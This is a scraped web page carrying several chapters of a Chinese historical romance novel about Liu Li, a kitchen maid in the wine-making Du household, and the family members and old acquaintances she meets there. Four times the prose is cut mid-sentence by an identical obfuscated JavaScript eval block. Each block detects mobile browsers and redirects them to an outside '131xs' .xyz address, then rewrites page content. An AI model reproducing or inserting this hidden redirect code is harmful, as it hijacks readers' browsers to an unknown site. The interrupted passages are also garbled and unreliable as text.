有茴儿做伴，刘梨很快适应了“柴火妞”的新身份。每天天未亮，后厨的院子就忙碌起来，两个小丫头算杂役，除了灶上的事不让碰，其余的杂活都得干。“厨房里那三口大缸，不管什么时候，都得是满的；柴房的柴火给我码得紧凑些，拿油布盖好，梅雨季快来了，别耽误了厨下的活计。”常妈眼睛小，嗓门大，说什么都跟吃了枪药似的。可她有个好处，直肠子，有什么当面就说出来了，不会背后阴人。对厨房里的仆佣们也实诚，有点儿好处大伙都有份，最底下的两个小杂役都能沾到光。刘梨进府，已经领了两身新衣裳，饭食也比以往好些，所以劳作虽辛苦，却养得她一身皮肉更白皙匀称。她做惯了活，到哪儿都能随遇而安，反而茴儿年纪小难免懒怠些，偷懒耍滑少不得要刘梨多担待些，不过这丫头是八卦的高手，噼里啪啦把这府里的情况给她说了个七七八八。 “咱们杜家可不是一般人家，眼前这园子可是高祖皇帝赐的。一个商贾之家能得官家御赐，那可是大庥朝独一份！”茴儿说的兴起，鼻梁上的小雀斑都鲜活起来。 杜家是酿酒世家，历朝历代都受皇家荫护。杜家独有的“白猿酿”更是作为贡品，年年上贡朝廷。已故的杜老爷忠厚敏直，在地方颇有威望。长子杜淮琮，少有才名，可惜向来体弱故未考取功名，娶妻薛氏后没几年便病故。杜老爷白发人送黑发人，经不住丧子之痛，也于翌年撒手人寰。现在掌家的是二爷杜淮琤。这杜淮琤更是个人物，往年父兄在世时，他是白水城出了名的纨绔，成日走马斗犬、花天酒地，为此没少挨杜老爷子责骂。担起家业后，多少人怀疑这位二爷早晚败了杜家，不想杜淮琤真人不露相，去除了杜家阛阓诸多尾大不掉的弊端，两年时间把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021136|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家业整肃一新，生意版图更是扩展到西域诸国。说到杜二爷，茴儿眼睛亮亮的，“少爷做生意有手段，外头那些吃过亏的，没少排揎二爷，背后都喊他‘小阎王’，不过姐姐别担心，主子对咱们府里人还是体恤的。”刘梨紧了紧被子，“我担心什么，左右做好分内的差事，不生是非就行。”茴儿拧着眉，“姐姐你不懂……”刘梨呼一下吹灭灯烛，“我是不懂，我只知道再不睡明儿可就起不来啦，我可不想被常妈怼着耳朵咋呼。”茴儿咧嘴，做了一晚不安生的梦，且按下不提。 厨房里蒸笼一揭开，立刻升腾起滚滚热气。那边沥过油的酥果一个个叠在玉瓷盘里，像芙蓉乍开。粥是前一晚就熬上的，早已香糯浓稠，与点心一起分层放进食盒，最上层是常妈独家自制的小酱菜，打包妥了便由各房领回。 说是各房，其实也就两房人。大爷杜淮琮过世后，孀居的大奶奶带着小公子住在东苑。这位薛素卿出生诗礼人家，与杜淮琮算得上青梅竹马，丈夫过世后不问俗务，一颗心全拴在独子身上，府里一应事全交给蒋管家打理；二爷杜淮琤早年有些荒唐，现下倒仍未娶妻，房里干干净净也是令人纳罕。据说以前上门提亲的人不少，都被他一一婉拒，反正家里没人拘着他，如今光棍一个独居在西苑。 茴儿裹在被子里瓮声瓮气，“姐姐你猜二爷为什么不娶妻？”刘梨闭着眼，白日里忙于差事顾不上其他，夜里闲下来就惦念起刘家的情况，不知道外面情形怎样了，随口答道：“主子的事我们下面人怎么知道。”茴儿撇撇嘴，想着这个姐姐怎么不好奇，一点都不会聊天。憋了许久，忍不住掀开刘梨被子一角，凑在她耳边道：“我听说，二爷不肯娶妻，很大一部分原因就是为了东苑的大奶奶。据说大爷、二爷和大奶奶是从小一起长大的。二爷心里一直有大奶奶，可是老爷却让大爷娶了她。他们成亲那天，二爷喝光了预备上贡的‘白猿酿’，醉在九曲池不省人事，险些酿成大祸！老爷当即气得把二爷赶出杜府，谁劝都不管用。父子俩都是硬脾气，二爷自那后真没回来过，也不知道那几年他在外面怎么过的……直到后来大爷病逝，老爷才默许二爷回来奔丧。”茴儿吐息吹得刘梨耳朵痒痒的，“你听谁说的？”“以前东苑的梅香姐姐，不过她已经离府很久了，好像是被赶出去的。”“再乱嚼舌根，下一个被赶出去的就是你！快睡吧。”茴儿缩了缩脖子，在杜府吃好喝好还有月钱，她可不想被赶出去。刘梨翻了个身，咂摸茴儿刚才的话，如果传言属实那杜二爷倒是个多情种，不过与自己无关，她只求老实当差攒点银子，以后求个恩典赎身出府，离了这深宅大院去，两人各自胡思乱想一番才沉沉睡去。 11. 十一 柴火妞 “茴儿！梨儿！陈二哥来了，快来帮忙！”常妈河东狮吼，震得葡萄架上的青果都抖落些个。 陈二哥是城外的菜农。隔上两日便会送菜进府，赶早担到厨房时，菜叶上仍是沾着露珠的。人老实敦厚，见到刘梨总是规规矩矩地叫一声“梨姑娘”，刘梨笑着冲他点点头，把菜拎到井台边去。即使这样，陈二仍是莫名其妙红了脸。他想上前帮忙，又怕自己这样粗鄙的人唐突了姑娘家。 茴儿是个不开窍的，见到他就八卦道：“陈二哥，最近外头可有什么新鲜事？” 瘦黑汉子挠挠头，尔后又咧嘴一笑，露出一口白牙。 “陈二哥你总这样，每回问你都只会笑。”茴儿不满地嘟起嘴，她出不得府，就想听听外来人说说外面的事儿。 “陈二哥每回来，你每回问，天底下再多的新鲜事，也经不起你这样打听啊。”刘梨忍不住开口。茴儿脸一臊，捡起根菜叶朝刘梨丢去。 陈二感激刘梨维护自己，心里一热，难得开口道：“其实还真有件新鲜事。早上听城门的守军说，有人在娄山发现不少琉璃宝石，世所罕见。听闻此事不少人前往娄山寻宝，这会恐怕整座娄山都被翻了个遍。” 听完这话两个丫头都不言语。刘梨想起娄山的那段经历，心有余悸；茴儿则是沉浸在琉璃宝石的幻想里，嘴角不自觉微微上扬。 陈二哥见两人对自己的话都没甚反应，悻悻住了口。眼角瞥见院墙边上一块刚垒的花池，里头有几片新抽的绿芽不由多看了几眼。 “我闹着玩，瞎种的。”刘梨怕陈二哥多心，连忙解释道。厨房里常有切下的菜头、葱白，本来也是扔掉，刘梨试着栽到土里，不想也活了几棵，大抵是个趣味，常妈也没多话。 姑娘白嫩嫩的，因日头的缘故，脸颊上带了红。陈二也进过几家大户后宅，年轻娇俏的丫头媳妇多少见过几个，不曾有比她模样好的。难得脾气也好，没有漂亮姑娘的狂妄傲慢。今天忍不住话多了点，“种得挺好。改天我给姑娘捎几粒鸡毛菜种子，这菜长得快，煮面做汤放几片叶，吃着爽口。” 果然没两天陈二哥就给刘梨各带了一包菜种和辣椒种。说这种辣椒会随着生长周期变换不同的颜色。起先是青色，然后是紫色，再变成黄色，最后才长成红彤彤、一簇簇的小辣椒。喜得刘梨不住地道谢，盼着那果儿赶紧拔地长起来。 鸡毛菜果然长得快，也就两旬的工夫已经吃了一茬。常妈捧了一碗鸡丝面，碧绿的叶子上卧了颗溏心蛋，叫人食指大开，感慨道：“难为你还记得我生辰。”“还是听蒋管家说起今天是您好日子，没有可孝敬您的，也就煮碗面祝常妈妈长寿安康。”常妈喝了口汤，很是熨帖，看看梨丫头，这些时日观察下来，知道她是个妥帖的，聪明伶俐，手脚勤快，比茴儿强上不止一星半点，所以偶尔也愿教导她几下，近来索性将早膳交给刘梨打理。以前外婆在世时胃不好，刘梨经常换着花样熬养生粥给外婆吃。杜府的早膳常年是清粥，刘梨大着胆做了点改变。白米里加点紫米、黑豆做成杂粮益气粥，或者放些山药、百合做养心安神粥，有时会给大奶奶那儿送去滋补养颜的甜汤，给小少爷的点心也会特别捏成兔子、喜鹊的模样。东苑来人打了赏，大奶奶带话说多谢厨房用心。西苑那儿倒是没什么反应，想来不太在意这些吃食上的花样。 灶上剩下的鸡蛋壳，刘梨顺手用残余的蛋清抹了抹手，再把蛋壳攒在小桶里，常妈知道那是她要碾碎了作肥料的，这丫头有些慧心巧思，上次用青瓜切薄片给她敷了个脸，常年被烟熏火燎的红脸膛还真变得清透不少，惹得她连连惊叹。 “其实咱们这厨房里都是宝贝。豆腐渣敷脸可以嫩白肌肤，淘米水洗脸可以美白。茴儿你这样的痘痘肌，用绿豆磨成粉敷脸，祛痘有奇效。” 这些方子都是刘梨常年听依菲姐念叨得来的，那女人为了美貌“正道”、“邪修”都试过，也不知她现在怎么样了？刘梨的美容妙方被茴儿这小妮子一宣扬，立刻传遍东西两苑。从那后常妈就发现厨房总丢东西，不是少块豆腐就是丢根青瓜。有回盐罐竟然一夜之间空了大半，茴儿说看见蒋管家脸上闪着盐花，问了刘梨才知道，盐可以祛除死皮。常妈哭笑不得，“老东西也不怕把自己腌成老腊肉！” 虽然加强了看管，可厨房里的物什仍是隔三岔五地缺失。后来这些美颜方子传出杜府，竟惹得白水城豆腐市价涨了一倍！即使“洛阳纸贵”，仍是供不应求。 刘梨对外面的事一无所知，这日沉浸在花池那“一亩三分地”里，忙得热火朝天，衣裳、脸上沾了泥都不自知。 “嘻嘻。” 一串笑声，引得刘梨抬头。 门外一张面如桃瓣的小脸见她看过来，忙缩了回去。 轻轻起身，蹑手蹑脚走到门边蹲下。果然那张脸又探了出来，没料到刘梨就在跟前，惊得他一个趔趄往后倒去。 伸手往腰间一捞，轻轻松松将小人儿拽了回来。小娃娃一站稳，就睨向腰上的爪子。 “拿开你的脏手！你把本少爷的衣裳弄脏了！” 这娃娃，不识好人心。“杜家的小少爷，脾气不小呢。” “你、你怎知我是谁？”小娃儿嘴巴鼓囊囊的。 本来不知道，这下你不打自招了，刘梨暗想。眼前的小男娃粉雕玉琢，一双眼睛尤其灵动，心里翻了翻茴儿的“杜氏族谱”，估计这位就是杜家小少爷杜修齐是也。 “小少爷不在学堂念书，跑这儿做什么？” “先生喝了我泡的茶，一时半会怕是出不了茅房。” 刘梨愕然，这么个金童似的小人儿，瞧不出来竟是个狠人，不禁背脊微微发寒。想来定是寡母骄纵，才养成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021137|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这个小霸王的性子。 杜修齐把刘梨上上下下打量一番，说道：“你就是小厮们说的‘灰丫头’啊？果然灰头土脸的。”灰丫头？我还灰姑娘呢！刘梨看看自己一身泥灰混着灶灰的脏样，无力反驳。这个小鬼头，明明才拳头大的人，目空一切的骄奢气倒是养了个十足。 “你这样的丑丫头，倒会几个让人变漂亮的法子。母亲说，‘人不可貌相’，当真有几分道理。” 饶是刘梨脾气好，也忍不住在心底翻了个白眼。这纨绔，早知这么不讨喜，该在你早膳里下巴豆才是！不意搭理他，刘梨拾掇拾掇工具，拿起扫帚把地上的尘土扬起老高，明摆着逐客。“小少爷，厨房这地儿又脏又乱，您快回去吧，别被夫子责骂。” “我不怕。我是杜家男儿，什么都不怕！”杜修齐不在意那点尘土，撩起袍子大咧咧坐在葡萄架下。 “那您怕什么啊？”她顺着他话问。 “我就怕我二叔。只要二叔一瞪我……”小孩儿正仰头馋那葡萄，发觉不对，已经说漏了嘴，懊恼地看向她。 想到人称“小阎王”的杜二爷，刘梨点点头，“你二叔是有些‘威名’。” “那当然！二叔是天底下最厉害的人！”小娃娃一脸“你懂我”的表情，看他一脸骄傲，刘梨不免生起逗弄之心，拉高了音调道：“天底下最厉害的人怎会是你二叔？” “那你说是谁？！”到底是孩子，一句话就急了，叉着腰质问刘梨。 本是跟他抬杠，真问起“这个”天下的事来，她如何答得出？ “你说啊，最厉害的是谁？” “是……是咸蛋超人！”拼了，她不是存心欺骗小朋友的。 “咸蛋超人是什么人？”杜修齐小朋友天真烂漫地问。 “咸蛋超人不是人，他是极东之地一个半人半妖的英雄。不仅武艺高强，更有一副金刚铁甲，刀枪不入。咸蛋超人除恶扬善、造福人间，百姓都称他为‘天下第一英雄’！”讲完这席话，不免有些心虚，她没有和孩子打交道的经验，想来这个年纪的孩子总归对英雄有着崇敬向往吧。 “半人半妖，那不就是人妖？梨姐姐，你再给我讲讲咸蛋超人的故事好不好？”杜修齐到底是个孩子，见有故事听，立马改口称“梨姐姐”，一脸谄媚样儿。 “人妖”二字听得刘梨心惊胆颤，但若能以此打发走这个小鬼头，倒是愿意一试。虽然还是小时候看过的故事，但小娃娃没见过原著，自己瞎编一通，应该对付的来。 “你……相信光吗？” 事情怎么演变成这样？刘梨看看勾在一起的小指，她一厨房粗使丫头，哪里就被小毛孩忽悠瘸了？在杜修齐的主导下，二人达成“君子”协议：每日午后刘梨给杜修齐讲一篇故事，听完故事修齐自回学堂，不得缠扰。拉钩上调，一百年不许变！ 12. 十二 故人重逢 西苑，养和堂。 男子将一册书放回书格，房门轻启，晨光恰好打在他手背上，骨节匀亭，脉络清晰，袖口松竹含韵，将手掌虚笼在黑暗中。杜淮琤本看着绣竹微微发怔，意识到有人唤他方才转过身，来人身姿欣长面容清矍，如梅枝照影般行了一礼。 “子骥。” “二爷。”伍子骥朝上拱手施礼，低头敛目。 杜淮琤伸手免礼，示意伍子骥落座。隔着书案看向这个入府多年的文士，杜淮琤缓缓道：“子骥，你来杜府多少年了？” 杜淮琤摸不透他何意，规矩答道：“回二爷，子骥还是当年大爷荐引入府的，蒙老爷不弃，不以伍某粗鄙浅薄，留在府中已七年有余。” “长兄素来尊贤惜才，只可惜……”杜淮琤靠上椅背，“七年了，杜家家业兴盛，先生功不唐捐。” 伍子骥忙站起身，推说不敢，“尽分内事而已，二爷谬赞。” 这时厨房送来早膳，杜二爷命小厮给子骥盛上一碗，两人换了小桌边吃边聊。黄澄澄的小米粥，熬出米脂米油，调羹搅起米香，饶是伍子骥用过早食，也禁不住喝了一碗。杜淮琤吃的香，吩咐亲随来安让厨房再呈一份来。 来安得令匆匆去厨房安排，府里仆佣太少了，这种传话的事儿都得他这样的贴身小厮来干。无奈二爷恨透了仆佣人多口杂，早前老爷仁善，对底下人约束不利。府里那些黑了心的竟编排起主子来，东苑的孤儿寡母没少被泼脏水。二爷治家后整顿内宅，发卖了不少。清净是清净了，只苦了他们留用的这些人，身兼多职不得停歇。譬如东苑，现下小少爷长起来，要单开院子，身边连得力的使唤丫头都没有。好在工钱比以前涨了，多少安慰了大伙。不过这些话可不敢当二爷面抱怨，主子自己就是事事躬亲的人，这不一大早就召伍先生来府上议事。来安传过话又急急回转书房伺候。 忙过早上那一阵，厨房的仆佣都松懈散了，只刘梨留下来收拾。西苑多出一人用早膳不在惯例中，听了来安吩咐，幸得小米粥还有多的，刚盛进食盒，来安早跑没了影，刘梨托不了别人，只得自己硬着头皮送去西苑。 杜淮琤看看见底的粥碗，发问道：“我杜家酒事兴旺隆盛，只一处犹被掣肘，子骥熟谙杜家事务，当知何为？” 伍子骥想了想，举起面前空了的碗，“粮。” 杜淮琤牵起嘴角，眉目疏朗。“子骥当何如？” “粮食关乎国计民生，酿酒本就是与民争食，盛世丰年自是无虑，可如果朝廷备战备荒，怕是酒政会有所变动。”略沉吟，又道：“不过白水附近州县俱是鱼米之乡、富庶之地，近年又都是太平丰年，所产粮食供应杜家酿酒绰绰有余，二爷不必多虑。” 杜淮琤慢慢靠向椅背，“居安思危，思则有备，备则无患。”话音刚落，外面传来一声叱责，“什么人！” 刘梨被唬了一跳，一路寻进西苑，正找不着门路，突然被个黑衣的汉子堵住，险些撒了食盒。程锏看清来人，微有些愣神，正思索在何处见过，来安站在门内遥遥招手，“送这儿来。” 垂首进屋，纤姿袅袅，伍子骥无意掠过一眼，忽的倒吸一气。他素来稳重，这点异样杜淮琤看在眼里，不露声色，觑向面前的丫头。刘梨目不斜视，按来安的嘱咐把餐盒放在桌上，刚要告退，眼前突然伸来一只玉白瓷碗，愕然抬头，对上一双探究的眼睛，剑眉星目，风姿英武。那眼神太过犀利，刘梨忙收回目光，将碗接过盛满，双手奉上。 薄胎玉瓷盛满热粥，烫得指尖微有灼热感，刘梨不敢乱动。伍子骥盯着她背影，多少话含在嘴里问不出。杜淮琤在二人身上流连一番，看姑娘红唇紧抿，才接过碗来。刘梨待他拿稳了忙缩回手，收好食盒福身离去，走出西苑好久才长出一口气，感叹这少爷秧子真不是好伺候的。 那丫头一走杜淮琤明显感觉到伍子骥的情绪变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021138|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，他少有稳不住的时候，强自按捺坐着，倒叫杜淮琤上了心。慢条斯理继续用早饭，让伍子骥先行退下，本欲商议的话题暂时搁置。子骥不作他想，行过礼匆匆拜辞。 不消吩咐，程锏暗暗跟了上去。 杜家的花园极大，曲径通幽、移步换景。刘梨捧了空食盒，不作盘桓只往厨房方向走。身后传来脚步声，她只当不知暗暗加快步伐。 “刘梨！” 顿住，诧然转身。 伍子骥确认是她，不免又喜又忧，“你怎么在这儿？” 面前的男人布衣长衫，温润的双眼透出担忧之色，刘梨只觉得这人熟悉，一时又想不起在哪里见过。伍子骥见她懵懵，一掌遮住半张脸，“刘庄一别，不知姑娘平安顺遂否？” “伍先生！”又逢恩人，刘梨发自内心的高兴。“剃了须髯，一时没认出，恩公莫怪！”重又郑重行了一礼。 伍子骥忙虚扶一把，“当不得什么‘恩公’，刘姑娘言重了。”看她一切安好，又道；“后来我又去过刘家……寻你，才知道出了那档子事，你留的书信不甚明朗，刘家人也不知道你去了何处。” 刘梨红了眼眶，抬起脸问道：“干爹干娘可好？哥哥可回家了？”“回来了，只是受了一场挫折，人有些颓唐，刘老刘婆知道你是为了他们，找不见你，很是自责。”他没说，他也很自责。 “不告而别也是不得已，我原想安顿好了再托人带信给他们，一直不得机会。如今见到先生，总算遇到放心的人，他日若方便还请先生告诉他们我一切安好。” 湖风扑面，摇动树影婆娑。伍子骥看向刘梨透亮的眼眸，颓下双肩，“你这般，何至于？” 刘梨懂了他的意思，浅笑道：“刘梨一孤女，蒙先生和刘家照拂，恩重命轻，感遇忘身。” 伍子骥张了张嘴，此处不便多话，只嘱咐了她几句，安慰她刘家那边他自去知会，就此告别。 13. 十三 少年愁绪 二人如何相处，程锏一一报之杜淮琤。“我瞧那姑娘眼熟，仿佛在哪里见过。”杜二爷不大上心，慢条斯理擦了擦嘴，亲盛了一碗小米粥给程锏，“尝尝，这粥真不错，养胃。” 程锏一口便喝下半碗，无甚反应，杜淮琤睨了他一眼，“牛嚼牡丹。” “二爷以前对饮食素不讲究。”又一口碗已见底。 “那是在外边，讲究不起来。”眼神询问要不要添，程锏摇了摇头。 “看爷的意思，那事暂时不跟伍子骥说了？” “先不说了，左右不急在这一时。”程锏听他这么说不知想到什么，嘴角有些抽搐。杜淮琤与他相处久了，奇道：“程锏，你是在笑吗？”这冷面神常年僵着脸，杜淮琤怀疑他早年是不是伤到了脑袋，以致从未见他笑过。 “我想到二爷以前说的些傻话，什么‘一心人’，什么‘不相离’。” “既是傻话，以后不要提了！”也就是程锏，要是别人揭他的短，早被二爷给割了舌头。 愿得一心人，白首不相离。那时候他被老头子赶出家门，刚见识过广袤寰宇。少年心性，桀骜不羁，流连秦楼楚馆间酒后也说过几句酸话，那些强作愁的少年心绪，现在想来唯有可笑可悲。 饵不够大，怎么钓大鱼？他现在，是把自己都算计上的人了。 想到少年心性，杜淮琤岔开话题，唤进来安问道：“老蒋呢，我让他找的人怎样了？”“回二爷，人您刚见过，就是方才那丫头，名唤刘梨的。家世清白，人也伶俐，听掌事妈妈说是个堪用的。” 竟是那丫头，杜淮琤确实觉得面善，抿唇端着热粥的样子，是个能隐忍的。只是她如今和伍子骥似乎有些瓜葛，再看看吧。 下半晌，憋了半天的雨落了下来，在泥地里溅起一个个箭簇。新发的瓜叶沐浴在雨中，益发显得生机盎然。透过雨帘看这一片新绿，刘梨却有些兴致怏怏。 这都第几天了，杜修齐一直没出现。被这小子缠磨了半月，天天要讲故事，刘梨快要黔馿技穷了，蓦然没了音信，不免叫人担忧。这孩子是有些淘气在身上，熟稔了之后倒也可爱，“梨姐姐”前“梨姐姐”后叫得欢实，还会从外面带些零嘴小玩意儿给刘梨，习惯了被人期待，一下缺失，心里少了什么似的。 “常妈妈，东苑食盒怎么不见来取？”“昨儿就没来，大奶奶也是，跟孩子置气，自己也陪着不吃饭，伤了身子如何是好？”刘梨细问，常妈也只听闻杜修齐这小祖宗不知又惹了什么冤孽，气得一向温婉的大奶奶动了怒，罚他在祠堂跪着思过。 “其实大奶奶哪里舍得罚他，但凡服个软便罢了。可小少爷就是不认错，娘儿俩都憋着劲儿。一个在祠堂跪着没吃没喝，一个在自己屋里哭成个泪人，再这样，怕是都要生出病来。” 杜修齐盘腿坐在蒲团上，嘴角还有点淤青。好好的蒲团被他抠出个小洞，正往外拽填充的稻糠，听到声响，忙拿衣裳遮住洞眼坐正身子，脸上也带起一副犟种的表情。来人不说话，杜修齐听得一些瓷碗碰击的声音，然后闻到夹有桂花的甜香，肚子先咕噜噜闹腾起来，懊恼地转过脸来。 “梨姐姐？”真是意外，“怎么是你？” “我偷偷溜进来的，别声张，先吃点东西垫垫肚子。” 小公子臊眉耷眼，“母亲不让我吃饭，我不愿违命。”没料到还是个守诺的。 “这是桂花酿，不是‘饭’，算不上违命。”刘梨诱他。 青瓷碗里糯白的小元宵混着鸡蛋花，汤上浮了一层糖桂花，热腾腾的冒着白气儿。“我加了一点醪糟，祠堂里冷，你吃了暖暖身子。”到底没经住甜香的诱惑，杜修齐舀起一匙吹了吹，塞了满嘴。 刘梨瞧着有些不忍，等他吃的差不多，劝道：“你这娃娃忒犟，和母亲认个错便是，何苦受这罪？” “我没错，为何要认错？”我没有做错事，为什么要道歉？刘梨想到当初的自己，面对欺凌，没人给过她辩解的机会。 “你做了什么惹大奶奶生气？” 杜修齐放下碗，低头不语。刘梨看他一身孤寂，忍不住抬手摸摸他脑袋。以为他不会说了，忽听道：“我和人打架来着，是他们先说，说我是没爹的孩子”，声音里透着压抑，“还说我母亲是个不祥的人，说我们娘俩克死了父亲、祖父！梨姐姐，我真是个扫把星吗？” “胡说！”刘梨怒得面色通红，手在身侧紧握成拳。“修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021139|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐，我知道失去至亲的体会，眼睁睁看身边人一个个离去，却无能为力，只恨不能一同去了。”杜修齐看着她，眼底氤氲着水汽，凄然道：“我常想，独留我一个在世上算什么？自己如今这样，还算‘活’着吗？我是不是其实已经死了？” “梨姐姐……” “人生岁岁年年，皆是昙花一现，早一步晚一步而已。可是心境宽了，眼界就不一样。”凝望烛火，刘梨想起和外婆在一起的最后时光。“我外祖母弥留之际常陪我说话，我知道她是怕我生了蠢念头。她给我描绘春的花，夏的风，秋的月，冬的雪，她和我说人间四季、尘世烟火。她说舍不得我，希望我连着亲人的份好好活着，好好在世上走一遭。” 双手抚上孩子双肩，“杜修齐，不必在意别人说什么，那些都是不相干的人。你现在这样只会亲者痛、仇者快。”见修齐面色松动，继续道：“母子连心，大奶奶心疼你，你在这跪了几日她哭了几日，和你一样不进饭食，再这样下去必会伤了身体。旁人言语伤你是逞一时口舌之快，你放不下那些诽谤辱骂，时时折磨自己和亲人，这真是你期望的吗？” 小孩儿红了眼，钻进刘梨怀里，瓮声瓮气道：“梨姐姐，天亮了我就去和母亲认错。” 月色凉映，杜淮琤站在阶下，无声退了回去。 “话说回来，你打赢了吗？”吃了一碗元宵，刘梨怕他积食，故意和他多说话。“他们三个打我一个，我打伤了俩，还有一个跑去报信我没追上。”“好样的！不算输。”往常听惯了训斥，何曾听过夸他打架的？杜修齐心里高兴，绘声绘色又将那天的场景描绘了一番。 刘梨听他说得精彩，不意打量到墙上一幅香樟木雕。“这是‘白猿献酿’的故事。” “向来是我给你讲故事，这会换你给我讲讲。”刘梨笑道。 杜修齐果然吃饱了有精神，“相传杜家的先祖原为樵夫，一日在山中偶然救下一只通体雪白的猿猴。这白猿实为灵兽，通人性。为报恩，集百花酿成美酒献予恩人。自此这酿酒的方法便由杜氏传承下来，至今已逾五百年。” “杜氏？”刘梨福至心灵，屏息看向最上层供着的牌位，不是吧，杜家先祖单名“康”？ 14. 十四 推梨让枣 茴儿趴在窗台张望好一会，自以为没人注意才踅进来，鬼鬼祟祟跟刘梨咬了一耳朵。常妈妈看到茴儿就上火，“懒丫头，跑哪儿撒欢半天不见人影！”亲自提溜着茴儿去干活。 刘梨洗过手在襜衣上擦了两把，茴儿话说一半，只道有人找她，姓甚名谁皆不知道。厨房后面的角门连着一条后巷，陈二哥送菜就是走这个门，仆佣日常出门采买也是由此出入。自进府刘梨就没出去过，墙根下长满青苔，铺路的青石早被人踩得光亮。咿呀打开半扇门，探出身去左右不见人，疑茴儿诓她，正要缩回去，从树后转出个人。 “二娘。” 刘梨愣住，将来人仔细打量一番，“又青哥？”刘又青点点头，黝黑的脸上扬起笑容。刘梨受到感染，几步便下了台阶，走近前上上下下确认他无事，“又青哥可是大好了？爹娘可安好？” “都好，都好！劳你挂念。”说完便噎住，两个都不是擅言辞的人，情绪激动又不知从何处说起。刘又青把一路上反复演练的词拿出来，“只是对不住你，你到我家来没过过一天好日子，里外操持、照料双亲，作哥哥的还没来得及感激，反倒因我的缘故拖累了二娘，爹娘郁郁自责了好久，我心里也一直不是滋味。”刘又青没想到这个干妹妹为了刘家竟舍了自身，感怀刘梨情义，心底告诫自己这便是他亲妹妹，以后要益发对她好。 “刘梨不告而别，让爹娘担心了。”又青看她红了眼眶，忙从身后卸下背筐，“爹爹一直寻不到你，直到前些日子伍先生送了些东西来家里，说你在杜府一切安好，我们才安心。正好家里的枣儿熟了，娘让我送些来。还有你养的小鸡仔，也会下蛋了，娘一直给你攒着，叫我千万带来让你尝尝。”边说边一样样从筐里拿出来塞到刘梨手上。 红皮大枣，颗颗饱满光亮，一看就是挑选洗净的。刘梨想到瞎眼的刘婆一颗颗清洗擦拭枣儿，实在没忍住抽泣起来。 “这可怎的？”刘又青一个糙汉子看妹妹流泪，手足无措，抻起袖子抹了抹刘梨脸颊，反倒擦红了面皮儿，更是心焦。 巷口响过踢踢踏踏的马蹄声，刘梨怕人瞧见，自己拿手背抹了抹脸。刘梨又把家里情况细细问了，说自己在杜府一切都好，又青见她容色丰润了些，想来是过得尚可，知道此处不便多说话，只再嘱咐一番，背上背篓依依辞别。刘梨猜他定是起早赶路入城，都未喝上她一杯水，立到瞧不见人影，独自倚在门下又流了回泪。 杜淮琤把缰绳递给程锏，“我以为那叫什么梨的丫头是个孤女。”程锏想到刚才在后巷一瞥而过人影，还以为二爷没在意，“我去把老蒋叫来。” 刘梨把枣与常妈茴儿分了，甜甜脆脆果然好吃。想到伍子骥帮她给家里报平安，听说又送了不少东西去刘家，再加上之前的搭救之恩，这份恩情实难报，只有慢慢还了。 打门外进来一人，容长脸儿身量高挑，是大奶奶身边的香尘。她这样的大丫鬟平常是不到厨房来的，常妈妈起身让座，又自去倒了碗茶：“香尘姑娘来啦，可是大奶奶有什么吩咐的？” “常妈妈客气了，大奶奶说眼见天气热起来，厨房的妈妈们辛苦，命我带些散钱犒赏各位。还有些细布，夏日里穿最是清爽，给常妈妈拿去做衣裳。”常妈妈谢过，摸着那匹料子，喜不自禁。 “这位可是刘梨？”刘梨听她问起，上前福了个身。香尘把她上下打量一番，“我瞧妹妹面善，心里欢喜，妈妈若是方便，我想带梨妹妹去我那屋说说话。”常妈妈了然，自是满口答应。 香尘挽着刘梨往东苑去，边走边领着刘梨看园中景儿，又问刘梨原籍在哪，如何入府，家里还有何人。刘梨只当自己是刘家二娘，一一答了。 进了东苑，香尘直接把她往上房引。刘梨迟疑了一下，香尘宽慰道：“大奶奶听说小少爷最近有你照应，想找你过来说说话。我们奶奶最是亲和的，你不要担心。” 